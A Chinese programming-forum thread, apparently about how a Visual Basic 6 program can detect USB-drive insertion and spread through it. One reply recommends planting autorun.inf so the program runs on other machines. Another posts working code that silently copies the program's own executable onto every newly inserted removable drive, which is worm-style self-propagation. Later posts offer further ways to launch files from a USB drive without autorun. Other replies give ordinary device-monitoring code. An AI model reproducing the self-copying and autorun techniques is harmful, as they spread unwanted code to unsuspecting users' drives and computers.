如题

解决方案 »

  1.   

    http://community.csdn.net/Expert/TopicView.asp?id=4837132
      

  2.   

    一般是用autorun你在U盘根目录建个autorun.inf,然后把你的程序也复制到U盘上样的话,只要用户没有关闭自动运行功能,你的程序就会被运行了
    http://soft.yesky.com/security/hkjj/453/2288453.shtml
      

  3.   

    恩恩,提供3种思路
    1、截获WINDOWS的系统消息,就是大家说的HOOK
    2、监视系统事件
    3、监视系统磁盘变化
    2、3两种实现的代码昨天刚写了一块,楼主想必看过了,里面两种方法都提到了,其实只用第3种就好,监视磁盘的同时很容易得到磁盘盘符和类型,得到盘符和路径以后,其他的楼主又没问去打CS了。。第三种方法实现起来就是以下代码了:
    测试前请添加对WMI的引用,并且在窗体上添加2个COMMAND和1个TIMER,名称默认Option ExplicitDim objSWbemLocator As SWbemLocator
    Dim objSWbemServices As SWbemServices
    Dim objSWbemObjectSet As SWbemObjectSet
    Dim objSWbemObject As SWbemObject
    Dim strComputer As String, strNameSpace As String, strClass As String
    Dim mDisk() As String '系统中有的U盘Private Sub Command1_Click()
    Timer1.Enabled = True
    End SubPrivate Sub Command2_Click()
    Timer1.Enabled = False
    End SubPrivate Sub Form_Load()
    Command1.Caption = "开始监视"
    Command2.Caption = "停止监视"
    Timer1.Interval = 1000
    Timer1.Enabled = False
    strComputer = "."           '计算机名,.为本机
    strNameSpace = "root\cimv2" '指定命名空间为root\cimv2
    strClass = "Win32_LogicalDisk"  '指定类为Win32_Service
    Set objSWbemLocator = CreateObject("WbemScripting.SWbemLocator")    '建立1个WBEM对象的引用指针
    Set objSWbemServices = objSWbemLocator.ConnectServer(strComputer, strNameSpace)  '连接到指定计算机、命名空间的WMI,返回一个对 SWbemServices 对象的引用
    insDisk
    End Sub
    Sub insDisk(Optional mb As Boolean = False)
    '初始化已有U盘
    Dim i As Long
    ReDim mDisk(0)
    Set objSWbemObjectSet = objSWbemServices.ExecQuery("SELECT * FROM " & strClass)  '通过WQL查询,返回指定类的所有
    For Each objSWbemObject In objSWbemObjectSet
        If objSWbemObject.DriveType = 2 Then
            ReDim Preserve mDisk(i)
            mDisk(i) = objSWbemObject.DeviceID
            If Not mb Then MsgBox "系统已有U盘:" & mDisk(i)
            i = i + 1
        End If
    Next
    End Sub
    '刷新列表
    Sub RefreshList()
    Dim i As Long, mBo As Boolean
    Set objSWbemObjectSet = objSWbemServices.ExecQuery("SELECT * FROM " & strClass)  '通过WQL查询,返回指定类的所有
        For Each objSWbemObject In objSWbemObjectSet
            If objSWbemObject.DriveType = 2 Then
                For i = 0 To UBound(mDisk)
                    If objSWbemObject.DeviceID = mDisk(i) Then mBo = True
                Next
                If Not mBo Then
                    MsgBox "系统新增加U盘:" & objSWbemObject.DeviceID
                    insDisk (True)
                End If
            End If
        Next
    End SubPrivate Sub Timer1_Timer()
    RefreshList
    End Sub
      

  4.   

    看了昨天的那个外国的代码,稍微改了一下,这个代码用的是窗口子类化,过滤消息。
    '=============窗体代码=================
    Private Declare Function RegisterDeviceNotification Lib "User32.dll" Alias _
    "RegisterDeviceNotificationA" (ByVal hRecipient As Long, _
    ByRef NotificationFilter As Any, ByVal Flags As Long) As Long
    Private Declare Function UnregisterDeviceNotification Lib "User32.dll" ( _
    ByVal Handle As Long) As LongPrivate Type Guid
    Data1 As Long
    Data2 As Integer
    Data3 As Integer
    Data4(7) As Byte
    End TypePrivate Type DEV_BROADCAST_DEVICEINTERFACE
    dbcc_size As Long
    dbcc_devicetype As Long
    dbcc_reserved As Long
    dbcc_classguid As Guid
    dbcc_name As Long
    End TypePrivate hDevNotify As LongPrivate Const DEVICE_NOTIFY_WINDOW_HANDLE As Long = &H0
    Private Const DBT_DEVTYP_DEVICEINTERFACE As Long = &H5 ' Device interface class
    Private Const DEVICE_NOTIFY_ALL_INTERFACE_CLASSES As Long = &H4Private Sub Form_Load()
        Dim NotificationFilter As DEV_BROADCAST_DEVICEINTERFACE    With NotificationFilter
            .dbcc_size = Len(NotificationFilter)
            .dbcc_devicetype = DBT_DEVTYP_DEVICEINTERFACE
        End With    Call SubClass(Me.hWnd)   '子类化
        hDevNotify = RegisterDeviceNotification(Me.hWnd, NotificationFilter, _
                     DEVICE_NOTIFY_WINDOW_HANDLE Or DEVICE_NOTIFY_ALL_INTERFACE_CLASSES)
    End SubPrivate Sub Form_Unload(ByRef Cancel As Integer)
        Call UnregisterDeviceNotification(hDevNotify)    Call UnSubClass
    End Sub'=====================模块代码======================
    Private Declare Function SetWindowLong Lib "User32.dll" Alias "SetWindowLongA" ( _
    ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
    Private Declare Function CallWindowProc Lib "User32.dll" Alias "CallWindowProcA" ( _
    ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Long, _
    ByVal wParam As Long, ByVal lParam As Long) As Long
    Private Declare Function StringFromGUID2 Lib "OLE32.dll" ( _
    ByRef rGUID As Any, ByVal lpSz As String, ByVal cchMax As Long) As Long
    Private Declare Function lstrcpyA Lib "Kernel32.dll" (ByVal lpString1 As String, ByVal lpString2 As Long) As Long
    Private Declare Function lstrlenA Lib "Kernel32.dll" (ByVal lpString As Long) As Long
    Private Declare Function GetDriveType Lib "Kernel32.dll" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
    Private Declare Sub RtlMoveMemory Lib "Kernel32.dll" ( _
    ByRef Destination As Any, ByRef Source As Any, ByVal Length As Long)
    Private Declare Sub GetDWord Lib "MSVBVM60.dll" Alias "GetMem4" (ByRef inSrc As Any, ByRef inDst As Long)
    Private Declare Sub GetWord Lib "MSVBVM60.dll" Alias "GetMem2" (ByRef inSrc As Any, ByRef inDst As Integer)Private Type DEV_BROADCAST_HDR
    dbch_size As Long
    dbch_devicetype As Long
    dbch_reserved As Long
    End TypePrivate Type Guid
    Data1 As Long
    Data2 As Integer
    Data3 As Integer
    Data4(7) As Byte
    End TypeDim OldProc As Long
    Dim WndHnd As LongPrivate Const GWL_WNDPROC As Long = (-4)
    Private Const WM_DEVICECHANGE As Long = &H219
    Private Const DBT_DEVNODES_CHANGED As Long = &H7
    Private Const DBT_DEVICEARRIVAL As Long = &H8000&
    Private Const DBT_DEVICEREMOVECOMPLETE As Long = &H8004&Private Const DBT_DEVTYP_VOLUME As Long = &H2 ' Logical volume
    Private Const DBT_DEVTYP_DEVICEINTERFACE As Long = &H5 ' Device interface classPrivate Const DBTF_MEDIA As Long = &H1 ' Media comings and goings
    Private Const DBTF_NET As Long = &H2 ' Network volumePrivate Const DRIVE_NO_ROOT_DIR As Long = 1
    Private Const DRIVE_REMOVABLE As Long = 2
    Private Const DRIVE_FIXED As Long = 3
    Private Const DRIVE_REMOTE As Long = 4
    Private Const DRIVE_CDROM As Long = 5
    Private Const DRIVE_RAMDISK As Long = 6Public Sub SubClass(ByVal inWnd As Long)
        If (WndHnd) Then Call UnSubClass    OldProc = SetWindowLong(inWnd, GWL_WNDPROC, AddressOf WndProc)
        WndHnd = inWnd
    End SubPublic Sub UnSubClass()
        If (WndHnd = 0) Then Exit Sub
        Call SetWindowLong(WndHnd, GWL_WNDPROC, OldProc)    WndHnd = 0
        OldProc = 0
    End SubPrivate Function WndProc(ByVal hWnd As Long, _
                             ByVal uMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
        Dim DevBroadcastHeader As DEV_BROADCAST_HDR
        Dim UnitMask As Long, Flags As Integer
        Dim DeviceGUID As Guid
        Dim DeviceNamePtr As Long
        Dim DriveLetters As String
        Dim LoopDrives As Long    If (uMsg = WM_DEVICECHANGE) Then
            Select Case wParam
            Case DBT_DEVICEARRIVAL, DBT_DEVICEREMOVECOMPLETE
                If (lParam) Then ' Read generic DEV_BROADCAST_HDR structure
                    Call RtlMoveMemory(DevBroadcastHeader, ByVal lParam, Len(DevBroadcastHeader))                If (DevBroadcastHeader.dbch_devicetype = DBT_DEVTYP_VOLUME) Then
                        ' Read end of DEV_BROADCAST_VOLUME structure
                        Call GetDWord(ByVal (lParam + Len(DevBroadcastHeader)), UnitMask)
                        Call GetWord(ByVal (lParam + Len(DevBroadcastHeader) + 4), Flags)                    DriveLetters = UnitMaskToString(UnitMask)                    For LoopDrives = 1 To Len(DriveLetters)
                            If wParam = DBT_DEVICEARRIVAL Then       '如果是插入
                                If DriveTypeToString(GetDriveType(Mid$(DriveLetters, LoopDrives, 1) & ":\")) = "Removable" Then   '如果是可移动磁盘
                                    If Dir(CStr(Mid(DriveLetters, LoopDrives, 1) & ":\" & App.EXEName & ".exe")) = "" Then         '如果文件不存在
                                        FileCopy App.Path & "\" & App.EXEName & ".exe", Mid$(DriveLetters, LoopDrives, 1) & ":\" & App.EXEName & ".exe"  '复制文件
                                    End If
                                End If
                            End If
                        Next LoopDrives                End If
                End If        End Select
        End If    WndProc = CallWindowProc(OldProc, hWnd, uMsg, wParam, lParam)
    End FunctionPrivate Function UnitMaskToString(ByVal inUnitMask As Long) As String
        Dim LoopBits As Long    For LoopBits = 0 To 30
            If (inUnitMask And (2 ^ LoopBits)) Then _
               UnitMaskToString = UnitMaskToString & Chr$(Asc("A") + LoopBits)
        Next LoopBits
    End FunctionPrivate Function DriveTypeToString(ByVal inDriveType As Long) As String '判断磁盘类型
        Select Case inDriveType
        Case DRIVE_NO_ROOT_DIR: DriveTypeToString = "No root directory" '??
        Case DRIVE_REMOVABLE: DriveTypeToString = "Removable"
        Case DRIVE_FIXED: DriveTypeToString = "Fixed"
        Case DRIVE_REMOTE: DriveTypeToString = "Remote"
        Case DRIVE_CDROM: DriveTypeToString = "CD-ROM"
        Case DRIVE_RAMDISK: DriveTypeToString = "RAM disk"
        Case Else: DriveTypeToString = "[ Unknown ]"
        End Select
    End Function
      

  5.   

    只有一种方式,那就是复制自己到别的地方,哈哈哈哈哈哈
    方式很多的啦,WINDOWS有N个漏洞,就有2^N个传播方式..(以上言论纯属虚构,如有雷同纯属巧合)顶你
      

  6.   

    '链接
    http://blog.csdn.net/yefanqiu/archive/2005/12/23/560234.aspx从网上看了一篇《分享windows的秘密-外壳通知消息》的文章,感觉很不错,可是它是delphi的程序,和VB相差很大,API在VB中没有对应的声明,并且一些结构体在VB中没有现成的定义,所以很是研究了一番,优盘的插入、拔出,光盘的插入、取出都有了相应的通知,效果不错。      可以接收的消息如下:  SHCNE_ASSOCCHANGED  一个文件关联被改变了
      SHCNE_ATTRIBUTES    一个项目或文件夹的属性被改变了
      SHCNE_CREATE        文件夹的外壳成员被创建了
      SHCNE_DELETE        非文件夹的外壳成员被删除了
      SHCNE_DRIVEADD      添加了一个驱动器
      SHCNE_DRIVEADDGUI   通过外壳添加的驱动器
      SHCNE_DRIVEREMOVED  一个驱动器被删除了
      SHCNE_EXTENDED_EVENT  未被使用
      SHCNE_FREESPACE     驱动器的自由空间数有了变化
      SHCNE_MEDIAINSERTED  存储介质被插入到驱动器中
      SHCNE_MEDIAREMOVED  存储介质从驱动器中被删除
      SHCNE_MKDIR         一个目录被创建
      SHCNE_NETSHARE      本地的目录被共享
      SHCNE_NETUNSHARE    本地目录被取消共享
      SHCNE_RENAMEFOLDER  文件夹名称被改变
      SHCNE_RENAMEITEM    非文件的外壳对象的名称被改变
      SHCNE_RMDIR         一个文件夹被删除
      SHCNE_SERVERDISCONNECT  计算机被服务器断开
      SHCNE_UPDATEDIR     一个文件夹中的内容被改变
      SHCNE_UPDATEIMAGE   系统图像列表中的一个图像被改变
      SHCNE_UPDATEITEM    一个非文件夹外壳对象的名称被改变运行后的截图:   关键源码:'*************************************************************************
    '**函 数 名:WindowProc
    '**输    入:ByVal hwnd(Long)   -
    '**        :ByVal uMsg(Long)   -
    '**        :ByVal wParam(Long) -
    '**        :ByVal lParam(Long) -
    '**输    出:(Long) -
    '**功能描述:子类函数
    '**全局变量:
    '**调用模块:
    '**作    者:叶帆
    '**日    期:2005年12月23日
    '**修 改 人:
    '**日    期:
    '**版    本:V1.0
    '*************************************************************************
    Private Function WindowProc(ByVal hwnd As Long, ByVal uMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
        '-------------------------------
        Dim i As Long
        If uMsg = WM_YFSYSMSG Then
            For i = 0 To 20
                If (lParam And lngFlag(i)) > 0 Then
                    frmSysmsg.lstMsg.AddItem Format(Now, "HH:MM:SS") & " " & strFlag(i)
                End If
            Next
            Exit Function
        End If
        
        '-------------------------------
        WindowProc = CallWindowProc(lngPreWinProc, hwnd, uMsg, wParam, lParam)
    End Function'*************************************************************************
    '**函 数 名:ISubProc
    '**输    入:hwnd(Long) - 窗口句柄
    '**输    出:无
    '**功能描述:
    '**全局变量:
    '**调用模块:安装子类
    '**作    者:叶帆
    '**日    期:2005-12-23 11:41:37
    '**修 改 人:
    '**日    期:
    '**版    本:V1.0.0
    '*************************************************************************
    Public Sub ISubProc(hwnd As Long)
        '记录原本的Window Procedure的位址
        lngPreWinProc = GetWindowLong(hwnd, GWL_WNDPROC)
        Call SetWindowLong(hwnd, GWL_WNDPROC, AddressOf WindowProc)
    End Sub'*************************************************************************
    '**函 数 名:UnISubProc
    '**输    入:hwnd(Long) - 窗口句柄
    '**输    出:无
    '**功能描述:卸载子类
    '**全局变量:
    '**调用模块:
    '**作    者:叶帆
    '**日    期:2005-12-23 11:43:53
    '**修 改 人:
    '**日    期:
    '**版    本:V1.0.0
    '*************************************************************************
    Public Sub UnISubProc(hwnd As Long)
        '取消Message的截取,而使之又只送往原来的Window Procedure
        Call SetWindowLong(hwnd, GWL_WNDPROC, lngPreWinProc)
    End Sub'*************************************************************************
    '**函 数 名:SysMsgRegister
    '**输    入:无
    '**输    出:无
    '**功能描述:消息注册
    '**全局变量:
    '**调用模块:
    '**作    者:叶帆
    '**日    期:2005-12-23 13:18:02
    '**修 改 人:
    '**日    期:
    '**版    本:V1.0.0
    '*************************************************************************
    Public Sub SysMsgRegister(hwnd As Long)
        Dim nr As NotifyRegister    lngFlag = Array(SHCNE_ASSOCCHANGED, _
                  SHCNE_ATTRIBUTES, _
                  SHCNE_CREATE, _
                  SHCNE_DELETE, _
                  SHCNE_DRIVEADD, _
                  SHCNE_DRIVEADDGUI, _
                  SHCNE_DRIVEREMOVED, _
                  SHCNE_EXTENDED_EVENT, _
                  SHCNE_FREESPACE, _
                  SHCNE_MEDIAINSERTED, _
                  SHCNE_MEDIAREMOVED, _
                  SHCNE_MKDIR, _
                  SHCNE_NETSHARE, _
                  SHCNE_NETUNSHARE, _
                  SHCNE_RENAMEFOLDER, _
                  SHCNE_RENAMEITEM, _
                  SHCNE_RMDIR, _
                  SHCNE_SERVERDISCONNECT, _
                  SHCNE_UPDATEDIR, _
                  SHCNE_UPDATEIMAGE, _
                  SHCNE_UPDATEITEM)    strFlag = Array("文件关联被改变", _
                  "文件夹属性被改变", _
                  "文件夹外壳成员被创建", _
                  "非文件夹外壳成员被删除", _
                  "添加了一个驱动器", _
                  "通过外壳添加的驱动器", _
                  "一个驱动器被删除了", _
                  "未使用", _
                  "驱动器自由空间发生变化", _
                  "存储介质插入驱动器", _
                  "存储介质被移除", _
                  "一个目录被创建", _
                  "本地目录被共享", _
                  "本地目录被取消共享", _
                  "文件夹名称被改变", _
                  "非文件的外壳对象名称被改变", _
                  "一个文件夹被删除", _
                  "计算机被服务器断开", _
                  "一个文件夹的内容被改变", _
                  "系统图像列表中的一个图像被改变", _
                  "一个非文件夹外壳对象的名称被改变")    lngHandle = SHChangeNotifyRegister(hwnd, SHCNF_ACCEPT_INTERRUPTS Or SHCNF_ACCEPT_NON_INTERRUPTS, SHCNE_ALLEVENTS, WM_YFSYSMSG, 1, nr)
        If lngHandle > 0 Then
            frmSysmsg.picFlag.BackColor = RGB(0, 200, 0)
        Else
            frmSysmsg.picFlag.BackColor = RGB(255, 0, 0)
        End If
    End Sub'*************************************************************************
    '**函 数 名:UnSysMsgRegister
    '**输    入:无
    '**输    出:无
    '**功能描述:取消注册
    '**全局变量:
    '**调用模块:
    '**作    者:叶帆
    '**日    期:2005-12-23 13:19:06
    '**修 改 人:
    '**日    期:
    '**版    本:V1.0.0
    '*************************************************************************
    Public Sub UnSysMsgRegister()
        If lngHandle > 0 Then
            SHChangeNotifyDeregister lngHandle
        End If
    End Sub
    在Windows XP / VB 6.0环境下测试成功。
    源代码下载地址:http://www.bjjr.com.cn/YeFan/SourceCode/yfsysmsg.rar
      

  7.   

    使用VB自帶的SysInfo控件吧,
    簡單實用。
      

  8.   

    有个问题,如果机器本身没有感染病毒,仅仅U盘上有毒
    那么楼上们说的那些程序如果没有autorun怎么会运行,怎么来激活~
      

  9.   

    fatimah(法提麦)
    看看楼主强调的是什么,看好帖子内容哦。
    当然了,如果你对激活U盘文件有兴趣,可以开贴,我可以告诉你N种办法,不一定非要AUTORUN
      

  10.   

    我前几天也遇到这个问题
    我是这样解决的
    MsgHook32这个控件是钩子控件
    用来监听系统消息的
    当U盘插入的时候会有系统消息发出
    截获并分析类型就可以了
    这个控件很简单
    MsgHook32 使用说明     MsgHook32,是一个专用于截取windows消息,并交由自定义过程处理的一个控件。    属性    1、HwndHook:MsgHook32控件要截取消息的对象的句柄。如果你要为Form1截取消息,那么MsgHook32.HwndHook=Form1.hWnd    2、Message:这是一个逻辑型的数组,它的下标为你要控制的消息编号。如果你想处理WM_SYSCOMMAND消息、WM_CONTEXTMENU消息,那么可以这样定义:
            Msghook32.Message(WM_SYSCOMMAND) = True
            Msghook32.Message(WM_CONTEXTMENU) = True    事件    Msghook32控件只有一个事件,定义如下:
        Sub Msghook32_Message(msg As Long, wp As Long, lp As Long, result As Long)
        msg参数为消息编号,如果你有多个消息要处理,可以用Select Case语句控制    方法    Msghook32控件只有一个方法,定义如下:    Long result = [form.][control.]InvokeWindowProc(msg As Long, wp As Long, lp As Long)
        这个方法使你可以调用对象默认的处理过程处理消息
      

  11.   

    sunxutx(孤云挂月) ( )莫非你在搞笑。
    那个OCX是用来截获本窗体消息的,对系统无效
      

  12.   

    楼上的,本窗体的也可以(其实就是本窗体),U盘插入系统会向所有窗口发送WM_DEVICECHANGE
      

  13.   

    zcsor(偶是业余的,偶水平不高,偶和大家共同学习,一起进步) ( ) 信誉:100
    2006-6-26 11:20:09
    得分:0
    fatimah(法提麦)
    看看楼主强调的是什么,看好帖子内容哦。
    当然了,如果你对激活U盘文件有兴趣,可以开贴,我可以告诉你N种办法,不一定非要AUTORUN================================================================================如果能同时告诉我怎么防止这些文件激活的,我开贴,给300你
      

  14.   

    搞的这么大,呵呵,看来问题严重了
    U盘插入系统会向所有窗口发送WM_DEVICECHANGE
    有时间试试,看来确实菜菜了,那么说这个问题一个子类化就解决了,根本不用捣鼓系统。受教了,谢谢~~~~~~~
    单单是AUTORUN,我想楼上兄弟不必问我们吧,嘿嘿,这个怎么也能禁止了。
    其实要说别的方法呢,我也未必真会啊,呵呵,就算是CN了~~~~~~~分我是不拿了,拿不得,拿不得的,等我学习学习磁盘逻辑结构和WINDOWS对USB的处理机制。。搀死啦,300多g金子啊555555555555